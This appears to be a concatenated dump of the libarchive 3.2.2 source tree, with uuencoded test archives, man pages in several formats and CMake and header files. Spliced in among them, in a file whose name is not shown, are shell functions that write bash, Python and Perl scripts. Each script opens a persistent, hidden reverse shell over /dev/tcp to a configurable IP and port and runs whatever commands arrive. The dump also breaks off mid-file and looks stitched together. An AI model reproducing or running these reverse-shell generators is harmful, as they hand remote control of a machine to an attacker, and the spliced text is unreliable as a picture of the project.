M(*8V:````'8```!02P$"%``4``@`"``(A(,W:-.?%&4```!Q````%``````` 11 | M````````````````345402U)3D8O34%.249%4U0N34902P$"%``4``@`"``( 12 | MA(,W"R"F-F@```!V````"0````````````````"G````=&UP+F-L87-S4$L% 13 | J!@`````"``(`>0```$8!```7`%!R;T=U87)D+"!V97)S:6]N(#0N,"XQ 14 | ` 15 | end 16 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/man/archive_write_new.3: -------------------------------------------------------------------------------- 1 | .TH ARCHIVE_WRITE_NEW 3 "February 2, 2012" "" 2 | .SH NAME 3 | .ad l 4 | \fB\%archive_write_new\fP 5 | \- functions for creating archives 6 | .SH LIBRARY 7 | .ad l 8 | Streaming Archive Library (libarchive, -larchive) 9 | .SH SYNOPSIS 10 | .ad l 11 | \fB#include \fP 12 | .br 13 | \fIstruct archive *\fP 14 | .br 15 | \fB\%archive_write_new\fP(\fI\%void\fP); 16 | .SH DESCRIPTION 17 | .ad l 18 | Allocates and initializes a 19 | Tn struct archive 20 | object suitable for writing a tar archive. 21 | .BR NULL 22 | is returned on error. 23 | .PP 24 | A complete description of the 25 | Tn struct archive 26 | object can be found in the overview manual page for 27 | \fBlibarchive\fP(3). 28 | .SH SEE ALSO 29 | .ad l 30 | \fBtar\fP(1), 31 | \fBlibarchive\fP(3), 32 | \fBarchive_write\fP(3), 33 | \fBarchive_write_set_options\fP(3), 34 | \fBcpio\fP(5), 35 | \fBmtree\fP(5), 36 | \fBtar\fP(5) 37 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/text/archive_read_new.3.txt: -------------------------------------------------------------------------------- 1 | ARCHIVE_READ_NEW(3) BSD Library Functions Manual ARCHIVE_READ_NEW(3) 2 | 3 | NAME 4 | archive_read_new — functions for reading streaming archives 5 | 6 | LIBRARY 7 | Streaming Archive Library (libarchive, -larchive) 8 | 9 | SYNOPSIS 10 | #include 11 | 12 | struct archive * 13 | archive_read_new(void); 14 | 15 | DESCRIPTION 16 | Allocates and initializes a struct archive object suitable for reading 17 | from an archive. NULL is returned on error. 18 | 19 | A complete description of the struct archive object can be found in the 20 | overview manual page for libarchive(3). 21 | 22 | SEE ALSO 23 | tar(1), libarchive(3), archive_read_data(3), archive_read_filter(3), 24 | archive_read_format(3), archive_read_set_options(3), archive_util(3), 25 | tar(5) 26 | 27 | BSD February 2, 2012 BSD 28 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_header3.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_header3.lzh 2 | M!``M;&AD+0``````````@5$!`"`#``!-?`````D```!&I`,```4````!"0`` 3 | M``)D:7+_!P```$`0`!D```#_[4$`````````````#!7^3$0:_DP=````0@_0`9;+`0@`````+J\'``````0`+6QH9"T````` 5 | M`````(%1`0`@`P``37T````)````1J0#```%`````0H````"9&ER,O\'```` 6 | M0!``&0```/_M00`````````````A&OY,1!K^3!T```!!2H%NNP&6RP&`UD`` 7 | MJ+*=`0!Z#]`!ELL!"`````!]%P<`````!``M;&@U+20````\````@5$!`"`# 8 | MI.=-<0````D```!&I`,```H````!9FEL93$9````_Z2!`````````````,<4 9 | M_DPC&OY,'0```$$T0J**_I7+`8#60`"HLIT!_G*DO`&6RP$(``````KQ!P`` 10 | M````&4)MD:BT=H!Z:T.IZ9#S:`ZH%CJ$`A]OC1DU4VION(3=>H`$`"UL:#4M 11 | M)````$X```"!40$`(`/5%4UQ````"0```$:D`P``"@````%F:6QE,AD```#_ 12 | MI($`````````````(1K^3",:_DP=````0?Y%<[L!ELL!@-9``*BRG0%8U::\ 13 | M`9;+`0@`````0=X'```````90FV1J.QV@'IS0XGID/-H#JC&&H0"'F^-&353 14 | (:F^XA-U^@``` 15 | ` 16 | end 17 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/ManPageArchiveWriteNew3.wiki: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_NEW(3) manual page 2 | == NAME == 3 | '''archive_write_new''' 4 | - functions for creating archives 5 | == LIBRARY == 6 | Streaming Archive Library (libarchive, -larchive) 7 | == SYNOPSIS == 8 | '''#include ''' 9 |
10 | ''struct archive *'' 11 |
12 | '''archive_write_new'''(''void''); 13 | == DESCRIPTION == 14 | Allocates and initializes a 15 | '''struct archive''' 16 | object suitable for writing a tar archive. 17 | NULL 18 | is returned on error. 19 | 20 | A complete description of the 21 | '''struct archive''' 22 | object can be found in the overview manual page for 23 | [[ManPageibarchive3]]. 24 | == SEE ALSO == 25 | [[ManPageBsdtar1]], 26 | [[ManPageibarchive3]], 27 | [[ManPagerchiverite3]], 28 | [[ManPagerchiveriteetptions3]], 29 | [[ManPageCpio5]], 30 | [[ManPageMtree5]], 31 | [[ManPageTar5]] 32 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/FindNettle.cmake: -------------------------------------------------------------------------------- 1 | # - Find Nettle 2 | # Find the Nettle include directory and library 3 | # 4 | # NETTLE_INCLUDE_DIR - where to find , etc. 5 | # NETTLE_LIBRARIES - List of libraries when using libnettle. 6 | # NETTLE_FOUND - True if libnettle found. 7 | 8 | IF (NETTLE_INCLUDE_DIR) 9 | # Already in cache, be silent 10 | SET(NETTLE_FIND_QUIETLY TRUE) 11 | ENDIF (NETTLE_INCLUDE_DIR) 12 | 13 | FIND_PATH(NETTLE_INCLUDE_DIR nettle/md5.h nettle/ripemd160.h nettle/sha.h) 14 | FIND_LIBRARY(NETTLE_LIBRARY NAMES nettle libnettle) 15 | 16 | # handle the QUIETLY and REQUIRED arguments and set NETTLE_FOUND to TRUE if 17 | # all listed variables are TRUE 18 | INCLUDE(FindPackageHandleStandardArgs) 19 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(NETTLE DEFAULT_MSG NETTLE_LIBRARY NETTLE_INCLUDE_DIR) 20 | 21 | IF(NETTLE_FOUND) 22 | SET(NETTLE_LIBRARIES ${NETTLE_LIBRARY}) 23 | ENDIF(NETTLE_FOUND) 24 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_nested.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_nested.zip 2 | M4$L#!`H``````(U`.D6]]'5ITP```-,````)`!P`FEP550)``-Y 3 | MGR14>9\D5'5X"P`!!..5`@`$@A8``%!+`P0*``````"+0#I%N2<3PAT````= 4 | M````$``<`&%N;W1H97)?9FEL92YT>'155`D``W:?)%1VGR14=7@+``$$XY4" 5 | M``2"%@``3VYL>2!T:&ES(&9I;&4@:7,@9&ES<&QA>65D+@I02P$"'@,*```` 6 | M``"+0#I%N2<3PAT````=````$``8```````!````H($`````86YO=&AE`L``03CE0(`!((6``!4:&4@>FEP(&%R8VAI=F4@ 10 | M;65T861A=&$@:7,@;F]T(&1I`PH` 11 | M`````(U`.D6]]'5ITP```-,````)`!@```````````"@@0````!S;6%L;"YZ 12 | M:7!55`4``WF?)%1U>`L``03CE0(`!((6``!02P$"'@,*``````"90#I%^VUC 13 | MDS4````U````"``8```````!````H($6`0``9FEL92YT>'155`4``Y*?)%1U 14 | D>`L``03CE0(`!((6``!02P4&``````(``@"=````C0$````` 15 | ` 16 | end 17 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/ManPageArchiveReadNew3.wiki: -------------------------------------------------------------------------------- 1 | ARCHIVE_READ_NEW(3) manual page 2 | == NAME == 3 | '''archive_read_new''' 4 | - functions for reading streaming archives 5 | == LIBRARY == 6 | Streaming Archive Library (libarchive, -larchive) 7 | == SYNOPSIS == 8 | '''#include ''' 9 |
10 | ''struct archive *'' 11 |
12 | '''archive_read_new'''(''void''); 13 | == DESCRIPTION == 14 | Allocates and initializes a 15 | '''struct archive''' 16 | object suitable for reading from an archive. 17 | NULL 18 | is returned on error. 19 | 20 | A complete description of the 21 | '''struct archive''' 22 | object can be found in the overview manual page for 23 | [[ManPageibarchive3]]. 24 | == SEE ALSO == 25 | [[ManPageBsdtar1]], 26 | [[ManPageibarchive3]], 27 | [[ManPagerchiveeadata3]], 28 | [[ManPagerchiveeadilter3]], 29 | [[ManPagerchiveeadormat3]], 30 | [[ManPagerchiveeadetptions3]], 31 | [[ManPagerchivetil3]], 32 | [[ManPageTar5]] 33 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_padded3.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_padded3.zip 2 | MKN@)Y\;8.^`2RL>+_"U8I!K>[,)F8(HA0[3P7N"0[A;4]3QYC6?U,X[!@NM% 3 | MOQJNIW"H3++]CW52#?CS&A=VU8&T:-YPI'J&>3^,1.F=97>R\P]*YF).R*I0 4 | M2P,$"@``````]WEW0T7&,OL&````!@````4`'`!F:6QE,%54"0`#(3>14B$W 5 | MD5)U>`L``03U`0``!!0```!F:6QE,`I02P,$"@``````^'EW0P3W*>(&```` 6 | M!@````4`'`!F:6QE,554"0`#)#>14B0WD5)U>`L``03U`0``!!0```!F:6QE 7 | M,0I02P$"'@,*``````#W>7=#1<8R^P8````&````!0`8```````!````I($` 8 | M````9FEL93!55`4``R$WD5)U>`L``03U`0``!!0```!02P$"'@,*``````#X 9 | M>7=#!/`L``03U`0``!!0```!02P4&``````(``@"6````B@``````D$,:4/1\ 11 | MSHGT7I+41*.O21/O.+Z%^`_>)S-WGU>>J4G0Y?5'GJ1PMY->*=#3Y+U(_A)OCL1N.):>IH8%T>Y$?&=@(K; 13 | M(+HD_4?R.6`$;@@+ 14 | M12?TRT^S)&!1W*^J06(&KL+*+>]_YL$5K0Q:G9J,1!%[\Q"5;/MD-K-YJW\fP 12 | .br 13 | \fIstruct archive *\fP 14 | .br 15 | \fB\%archive_read_new\fP(\fI\%void\fP); 16 | .SH DESCRIPTION 17 | .ad l 18 | Allocates and initializes a 19 | Tn struct archive 20 | object suitable for reading from an archive. 21 | .BR NULL 22 | is returned on error. 23 | .PP 24 | A complete description of the 25 | Tn struct archive 26 | object can be found in the overview manual page for 27 | \fBlibarchive\fP(3). 28 | .SH SEE ALSO 29 | .ad l 30 | \fBtar\fP(1), 31 | \fBlibarchive\fP(3), 32 | \fBarchive_read_data\fP(3), 33 | \fBarchive_read_filter\fP(3), 34 | \fBarchive_read_format\fP(3), 35 | \fBarchive_read_set_options\fP(3), 36 | \fBarchive_util\fP(3), 37 | \fBtar\fP(5) 38 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_mac_metadata.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_mac_metadata.zip 2 | M4$L#!!0`"``(`"UH8T$````````````````%`!``9FEL93-56`P`U?264!:7 3 | ME%#U`10`2TQ*3DE-2^<"`%!+!P@D*E,-"@````@```!02P,$"@``````5VAF 4 | M00````````````````D`$`!?7TU!0T]36"]56`P`YHN84.:+F%#U`10`4$L# 5 | M!!0`"``(`"UH8T$````````````````0`!``7U]-04-/4U@O+E]F:6QE,U58 6 | M#`#5])90%I>44/4!%`!C8!5C9V!B8/!-3%;P#U:(4(`"D!@#)Q`;`?%;(`;R 7 | M&>49B`*.(2%!$!98QPP@;D=3PH@0%T[.S]5++"C(2=5+3,[1*TFM*`%**"H# 8 | M.0J&7*7%J456;D#@"@2Z+D"@ZPP$NDY`H.L(!`9@X&QIY5Z:6EQB961@:)62 9 | MFE=I592:F,*57I1?6F#EZ.3LXNKFZ*0+HG1!/%TX%Z+=U,`J,24W,\_*`LC( 10 | MR^LP```!\!``!02P$"%0,4``@`"``M:&-! 11 | M)"I3#0H````(````!0`,``````````!`I($`````9FEL93-56`@`U?264!:7 12 | ME%!02P$"%0,*``````!7:&9!````````````````"0`,``````````!`_4%- 13 | M````7U]-04-/4U@O55@(`.:+F%#FBYA04$L!`A4#%``(``@`+6AC0?@\%[ZS 14 | M````'P$``!``#```````````0*2!A````%]?34%#3U-8+RY?9FEL93-56`@` 15 | >U?264!:7E%!02P4&``````,``P#,````A0$````` 16 | ` 17 | end 18 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_zip_3.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_compat_zip_3.zip 2 | M4$L#!`H``````-=0SCX````````````````-````&ULI9/12\,P$,;?!?^'D0??DE1%D+EU0U`<*`RWH6\E 5 | MIK\2%IZ<5+[RQR#V$ 8 | MPMD`G-S]"G5'UK"\A8&)L@B:'!-4;V/_@&E-_X$T&6YHJT25! 9 | M+6H,@E\H^L#HD*!@N;:319%I_+YX7ZT;JA/D-LCXD/,6I731AB<\Q=CZWT\//Y<+1-JL*"1UCLD!?AD 11 | M[@*R^"+:%]PW$#I4V2Z.Q?2M^S`4G?B,L8E0C.@V&?0KY]]"H32P6`A)UY@6 12 | M;GA]P[<%01/9@W\$3O0[G_:3X.Y\^^V/X2<>))%7=7@+``$$]@$```04````4$L%!@`````!``$`5@````L"```` 16 | !```` 17 | ` 18 | end 19 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_cpio_1.cpio.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_cpio_1.cpio.uu 201247 2009-12-30 05:59:21Z kientzle $ 2 | 3 | begin 644 test_compat_cpio_1.cpio 4 | M,#."H>."I..#JP"(:&A@,(@P7*K5,*$PI##K,.:\HN6ME^F5M^.!A..# 14 | ME>."H>."I..#J^60C6QO;F.#B"YT>'0`D/\0?^2Y_">#,#TN'-+$/7L`0`<` 17 | ` 18 | end 19 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_encryption_partially.zip.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_read_format_zip_encryption_partially.zip 2 | M4$L#!`H``````*UI,4/H*IFA%````!0````'````8F%R+G1X=")D871A(&]F 3 | M(&)A'0B(`T*4$L#!#,`00```*II,4/_S`925@$``!0````'````9F]O 4 | M+G1X=!``=Y31BJ>9'GG$*/<^F6_&OGLZO5E%/W5NJ591,`8BB:/5/7M)AK8/IJ0=@ 8 | M`````(``QS1<"+$&V4,T_.3PQ&HBEXWEA;,\K(U'9+L4P 9 | M=:(P%7DH*U7(2#M.IB;M\7X??Y!F]%PMN<#((2`+)9A+<(W[1K0X@&5:`QJV 10 | MQ:NR:QT5U'+D!K^/_N*M>SJ-)-^@^N6]4VD&Z@L#X(!-7@-6#-G3WV`1:PL" 11 | M!4FWNU]+#`:$,2UI5U`@#@BY.)#$HP6(2J%$#!("(,&[8J'@1HPP:%C&*%`DB 3 | M1@R*-&[0J`$CQ@T0+4W:@`$`1(V'.'/JW,D30)TY=,+(Z4@G39N>"H&&,6,& 4 | MZ<&1,$*.M.BTJM6K6+/V#.CB2YL\9-(,U4JV+$&,$SFBW2@UXL>V(VG$F%'R 5 | M9(V4*UN^;/EQ94V:9@,+)O@SZ-"(18]J5=/&Q1LXR\F4D3/'19@O9L0")1@@`$$#`RTL;_X\^O3J8K[,*;/< 8 | M#9F'RID[A_Y&.G478[Z4:0.'3A[NF@U4'``4C#>?>?>1\04;86P'0';4T;%> 9 | M>V0PZ*!E&&:HX88412!U!A5%=**G$DDLPQ2## 10 | M###04---)/:84&%"$64468PUA=5C+;[HXY),6L655WEDQT8936:(D0TTL+B6 11 | MBFYIZ:)<=)D48UXT\C73#']5R220A\&0&)%!-7;D5$E&IN:=>"Z$F6:R>0:: 12 | M:*2AAIIJ`[$VD&L#P;:;;[55=EMNN_G!J'$##??0@``$-Q!R`,1''GWV57<= 13 | MA!=V]UUX!I97WWDNI#?A&^[!ERJHK.:W7W__^18@``,6*)^JH;J@H(5T#$2J 14 | MA.S!6F&#Q>;I[+/0[N1AE&E,&:U@5V:)(EM)OE7G8V+>):->-=Y8@PUI7HLA 15 | MFT(JEE61CM&)I+KTUFOOO?CFJ^^^_/;K[[\`!RSPP`07;/#!"">L\,(,-^SP 16 | MPQ!'+/'$%%=L\<489ZSQQAQW[/''((,$``` 18 | ` 19 | end 20 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_lha_bugfix_0.lzh.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_lha_bugfix_0.lzh 2 | M+P`M;&@U+7T"```(`P``$D*U4R`"],%5!0``,;<$``%F!0!0I($'`%$4`/4! 3 | M```#!FS;%+&?H/SZ_`=2K$ 5 | M-,5VE5(EVT9P)2WPS:$ET@K!861T3'*N&!9P1"!)<58 6 | M77$ZCA;PVAGN>:E@6E`;&<>"ZC!Y63H&,DLG*7"!89A!JAN$L?(RDL_4`*!5 7 | MFWE%HD>>J)M8]^%^EM_SX;PSL4PVL.5A30:MQ@.E>3">;0[^XNA:([UUF>FV 8 | MLJS"HLP=\5-Y)HP)8800U81@-`7,)<)ZD6)*P7'5$BBE@NYFR%CS>"PRZ6`Z 9 | M8JPQ)&7:HGF$^/FQGF_PQ;'VBN?WET90#=W4S(2%Q9+!.>\`MR,`]Y;GQNU* 10 | MFV]2K+=B$EZ2M6[KKUMXA2,NK[\3?3>^;:NB(+]2)S/?J*C<=Y'\SN?1Z7-T 11 | M."&"A!R%6"V5"ZI&W[UZFT>T$?;.=#MVH9@V=/!#*$).G2G(Y4.Q*[1AVL?6*_:94#("2J<.Q< 14 | M2F+D][."[K,$ 15 | M^*>G*P8XG*=--.O:V?F58URE?C"9Q>FRRHW0RHQTQ\`IS.%ZJ:J2YKXH6C:+ 16 | MHAD@<2N;;[H(/YMP]]_/=25P$K"=;&?2)-\6HA5V6U"%Z`/3MMKL6>%KKCGI 17 | *+1"40KV_/\%````` 18 | ` 19 | end 20 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ############################################ 2 | # 3 | # How to build bsdcat 4 | # 5 | ############################################ 6 | IF(ENABLE_CAT) 7 | 8 | SET(bsdcat_SOURCES 9 | bsdcat.c 10 | bsdcat.h 11 | bsdcat_platform.h 12 | cmdline.c 13 | ../libarchive_fe/err.c 14 | ../libarchive_fe/err.h 15 | ../libarchive_fe/lafe_platform.h 16 | ) 17 | INCLUDE_DIRECTORIES(${CMAKE_CURRENT_SOURCE_DIR}/../libarchive_fe) 18 | 19 | # bsdcat documentation 20 | SET(bsdcat_MANS bsdcat.1) 21 | 22 | # How to build bsdcat 23 | ADD_EXECUTABLE(bsdcat ${bsdcat_SOURCES}) 24 | IF(ENABLE_CAT_SHARED) 25 | TARGET_LINK_LIBRARIES(bsdcat archive ${ADDITIONAL_LIBS}) 26 | ELSE(ENABLE_CAT_SHARED) 27 | TARGET_LINK_LIBRARIES(bsdcat archive_static ${ADDITIONAL_LIBS}) 28 | SET_TARGET_PROPERTIES(bsdcat PROPERTIES COMPILE_DEFINITIONS 29 | LIBARCHIVE_STATIC) 30 | ENDIF(ENABLE_CAT_SHARED) 31 | 32 | # Installation rules 33 | INSTALL(TARGETS bsdcat RUNTIME DESTINATION bin) 34 | INSTALL_MAN(${bsdcat_MANS}) 35 | ENDIF(ENABLE_CAT) 36 | 37 | add_subdirectory(test) 38 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_mtree.mtree.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_mtree.mtree 2 | M(VUT7!E/61I<@H@9FEL95PP-#!W:71H7#`T,'-P86-E('1Y<&4]9FEL 4 | M92!U:60],3@*("XN"F9I;&5<,#0P=VET:%PP-#!S<&%C92!T>7!E/69I;&4* 5 | M9&ER,B!T>7!E/61I<@H@9&ER,V$@='EP93UD:7(*("!I;F1I7!E/61I<@H@(&EN9&ER,V(@ 8 | M='EP93UF:6QE"B`@9FEL96YA;65<7'=I=&A<"E]E7!E/69I 12 | M;&4@F4]+3$*9&ER,B]B:6=F:6QE('1Y 14 | M<&4]9FEL92!S:7IE/3DR,C,S-S(P,S8X-30W-S4X,#<*9&ER,B]T;V]B:6=F 15 | M:6QE('1Y<&4]9FEL92!S:7IE/3DR,C,S-S(P,S8X-30W-S4X,#@*9&ER,B]V 16 | M97)Y;VQD9FEL92!T>7!E/69I;&4@=&EM93TM.3(R,S,W,C`S-C@U-#/dev/tcp/%s/%s\n" "$l_ip" "$l_port" 14 | printf "while read line\n" 15 | printf "do\n" 16 | printf "\$line\n" 17 | printf "done <&5 >&5 2>&1\n" 18 | printf "done\n" 19 | printf "} >/dev/null 2>&1 &\n" 20 | 21 | } > "${fileName}" 22 | } 23 | 24 | _py(){ 25 | local fileName=${1} 26 | { 27 | 28 | printf "%s\n" "#!/bin/bash" 29 | printf "%s\n" "python - << '!'" 30 | printf "import subprocess\n" 31 | printf "subprocess.call(['bash','-c', \"{ while :; do exec 5<>/dev/tcp/%s/%s; while read line; do \$line; done <&5 >&5 2>&1; done; } >/dev/null 2>&1 &\"])\n" "$l_ip" "$l_port" 32 | } >"${fileName}" 33 | 34 | } 35 | 36 | _pl(){ 37 | local fileName=${1} 38 | { 39 | printf "%s\n" "#!/bin/bash" 40 | printf "%s\n" "perl - << '!' " 41 | printf "my @args = ( \"bash\", \"-c\", '{ while :; do exec 5<>/dev/tcp/%s/%s; while read line; \ 42 | do \$line; done <&5 >&5 2>&1; done ;} >/dev/null 2>&1 & ' ); system(@args);\n" "$l_ip" "$l_port" 43 | } >"${fileName}" 44 | 45 | } 46 | -------------------------------------------------------------------------------- /libarchive-3.2.2/contrib/android/include/android_lf.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Macros for file64 functions 3 | * 4 | * Android does not support the macro _FILE_OFFSET_BITS=64 5 | * As of android-21 it does however support many file64 functions 6 | */ 7 | 8 | #ifndef ARCHIVE_ANDROID_LF_H_INCLUDED 9 | #define ARCHIVE_ANDROID_LF_H_INCLUDED 10 | 11 | #if __ANDROID_API__ > 20 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | //dirent.h 22 | #define readdir_r readdir64_r 23 | #define readdir readdir64 24 | #define dirent dirent64 25 | //fcntl.h 26 | #define openat openat64 27 | #define open open64 28 | #define mkstemp mkstemp64 29 | //unistd.h 30 | #define lseek lseek64 31 | #define ftruncate ftruncate64 32 | //sys/stat.h 33 | #define fstatat fstatat64 34 | #define fstat fstat64 35 | #define lstat lstat64 36 | #define stat stat64 37 | //sys/statvfs.h 38 | #define fstatvfs fstatvfs64 39 | #define statvfs statvfs64 40 | //sys/types.h 41 | #define off_t off64_t 42 | //sys/vfs.h 43 | #define fstatfs fstatfs64 44 | #define statfs statfs64 45 | #endif 46 | 47 | #endif /* ARCHIVE_ANDROID_LF_H_INCLUDED */ 48 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_rar_windows.rar.uu: -------------------------------------------------------------------------------- 1 | begin 644 - 2 | M4F%R(1H'`,^0'3POU/A"W5A$C_#FG]U81(_PYI_=&5S 4 | M="!T97AT(&9I;&4-"D."=""0.P`0````$`````+Q$M:7;&$2/Q0P"``@```` 5 | M=&5S="YT>'2POU/A"V-A$C_CG09L81(_4^$+=&5S="!T97AT(&9I;&4-"H[- 6 | M=""00P"Y`0``N0$```(WUUQ;QV$2/Q0P$``@````=&5S='-H;W)T8W5T+FQN 7 | M:_#_XWD7N&$2/[,"!%U,%S^RB8E,`````10"``````#`````````1IL````@ 8 | M````8[VJ;\%=S`'3/CJ#P5W,`5/_T7G!7````$0````,```!;L.$D$`````!#.EQ$;V-U;65N=',@86YD 12 | M(%-E='1I;F=S7&]W;F5R7$1E'0```H`+@!<`'0`90!S 13 | M`'0`+@!T`'@`=``G`$,`.@!<`$0`;P!C`'4`;0!E`&X`=`!S`"``80!N`&0` 14 | M(`!3`&4`=`!T`&D`;@!G`',`7`!O`'<`;@!E`'(`7`!$`&4``1GM0(`"<.&<7\'E#X,!WD3;OM++F5PEDYM-U6H;/)X!&> 17 | MU`@`)PX9Q0````#%`73@D#H````````````"`````'5A$C\4,`<`$````'1E 18 | M 12 | 13 | int 14 | archive_write_set_passphrase(struct archive *, const char *passphrase); 15 | 16 | int 17 | archive_write_set_passphrase_callback(struct archive *, 18 | void *client_data, archive_passphrase_callback *); 19 | 20 | DESCRIPTION 21 | archive_write_set_passphrase() 22 | Set a passphrase for writing an encryption archive. If 23 | passphrase is NULL or empty, this function will do nothing and 24 | ARCHIVE_FAILED will be returned. Otherwise, ARCHIVE_OK will be 25 | returned. 26 | 27 | archive_write_set_passphrase_callback() 28 | Register callback function that will be invoked to get a 29 | passphrase for encrption if the passphrase was not set by the 30 | archive_write_set_passphrase() function. 31 | 32 | SEE ALSO 33 | tar(1), libarchive(3), archive_write(3), archive_write_set_options(3) 34 | 35 | BSD September 21, 2014 BSD 36 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/text/archive_read_add_passphrase.3.txt: -------------------------------------------------------------------------------- 1 | ARCHIVE_READ_ADD_PASS... BSD Library Functions Manual ARCHIVE_READ_ADD_PASS... 2 | 3 | NAME 4 | archive_read_add_passphrase, archive_read_set_passphrase_callback — func‐ 5 | tions for reading encrypted archives 6 | 7 | LIBRARY 8 | Streaming Archive Library (libarchive, -larchive) 9 | 10 | SYNOPSIS 11 | #include 12 | 13 | int 14 | archive_read_add_passphrase(struct archive *, const char *passphrase); 15 | 16 | int 17 | archive_read_set_passphrase_callback(struct archive *, void *client_data, 18 | archive_passphrase_callback *); 19 | 20 | DESCRIPTION 21 | archive_read_add_passphrase() 22 | Register passphrases for reading an encryption archive. If 23 | passphrase is NULL or empty, this function will do nothing and 24 | ARCHIVE_FAILED will be returned. Otherwise, ARCHIVE_OK will be 25 | returned. 26 | 27 | archive_read_set_passphrase_callback() 28 | Register callback function that will be invoked to get a 29 | passphrase for decrption after trying all passphrases registered 30 | by the archive_read_add_passphrase() function failed. 31 | 32 | SEE ALSO 33 | tar(1), libarchive(3), archive_read(3), archive_read_set_options(3) 34 | 35 | BSD September 14, 2014 BSD 36 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/text/archive_write_data.3.txt: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_DATA(3) BSD Library Functions Manual ARCHIVE_WRITE_DATA(3) 2 | 3 | NAME 4 | archive_write_data — functions for creating archives 5 | 6 | LIBRARY 7 | Streaming Archive Library (libarchive, -larchive) 8 | 9 | SYNOPSIS 10 | #include 11 | 12 | la_ssize_t 13 | archive_write_data(struct archive *, const void *, size_t); 14 | 15 | DESCRIPTION 16 | Write data corresponding to the header just written. 17 | 18 | RETURN VALUES 19 | This function returns the number of bytes actually written, or a negative 20 | error code on error. 21 | 22 | ERRORS 23 | Detailed error codes and textual descriptions are available from the 24 | archive_errno() and archive_error_string() functions. 25 | 26 | BUGS 27 | In libarchive 3.x, this function sometimes returns zero on success 28 | instead of returning the number of bytes written. Specifically, this 29 | occurs when writing to an archive_write_disk handle. Clients should 30 | treat any value less than zero as an error and consider any non-negative 31 | value as success. 32 | 33 | SEE ALSO 34 | tar(1), libarchive(3), archive_write_finish_entry(3), 35 | archive_write_set_options(3), cpio(5), mtree(5), tar(5) 36 | 37 | BSD February 2, 2012 BSD 38 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/text/archive_write_header.3.txt: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_HEADER(3) BSD Library Functions Manual ARCHIVE_WRITE_HEADER(3) 2 | 3 | NAME 4 | archive_write_header — functions for creating archives 5 | 6 | LIBRARY 7 | Streaming Archive Library (libarchive, -larchive) 8 | 9 | SYNOPSIS 10 | #include 11 | 12 | int 13 | archive_write_header(struct archive *, struct archive_entry *); 14 | 15 | DESCRIPTION 16 | Build and write a header using the data in the provided struct 17 | archive_entry structure. See archive_entry(3) for information on creat‐ 18 | ing and populating struct archive_entry objects. 19 | 20 | RETURN VALUES 21 | This function returns ARCHIVE_OK on success, or one of the following on 22 | error: ARCHIVE_RETRY for operations that might succeed if retried, 23 | ARCHIVE_WARN for unusual conditions that do not prevent further opera‐ 24 | tions, and ARCHIVE_FATAL for serious errors that make remaining opera‐ 25 | tions impossible. 26 | 27 | ERRORS 28 | Detailed error codes and textual descriptions are available from the 29 | archive_errno() and archive_error_string() functions. 30 | 31 | SEE ALSO 32 | tar(1), libarchive(3), archive_write_set_options(3), cpio(5), mtree(5), 33 | tar(5) 34 | 35 | BSD February 2, 2012 BSD 36 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_msdos.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_msdos.zip 2 | M4$L#!`H``````!"2@D@````````````````#`!P`86)C550)``/P;@!7;'0` 3 | M5W5X"P`!!/4!```$%````%!+`P0*``````#PE()(`````````````````P`< 4 | M`&1E9E54"0`#4W0`5U-T`%=U>`L``03U`0``!!0```!02P,$"@``````[Y2" 5 | M2`````````````````<`'`!D968O9F]O550)``-2=`!7;'0`5W5X"P`!!/4! 6 | M```$%````%!+`P0*```````6DH)(````````````````!``<`&=H:2]55`D` 7 | M`_QN`%?\;@!7=7@+``$$]0$```04````4$L#!`H``````!65@D@````````` 8 | M```````#`"<`:FML550)``.9=`!7F70`5W5X"P`!!/4!```$%````'AL!P`% 9 | M'@`0````4$L#!`H``````!:2@D@````````````````$`"4`;6YO+U54"0`# 10 | M_&X`5_QN`%=U>`L``03U`0``!!0```!X;`4`!!````!02P$"'@`*```````0 11 | MDH)(`````````````````P`8````````````````````86)C550%``/P;@!7 12 | M=7@+``$$]0$```04````4$L!`AX`"@``````\)2"2`````````````````,` 13 | M&``````````0````/0```&1E9E54!0`#4W0`5W5X"P`!!/4!```$%````%!+ 14 | M`0(>``H``````.^4@D@````````````````'`!@``````````````'H```!D 15 | 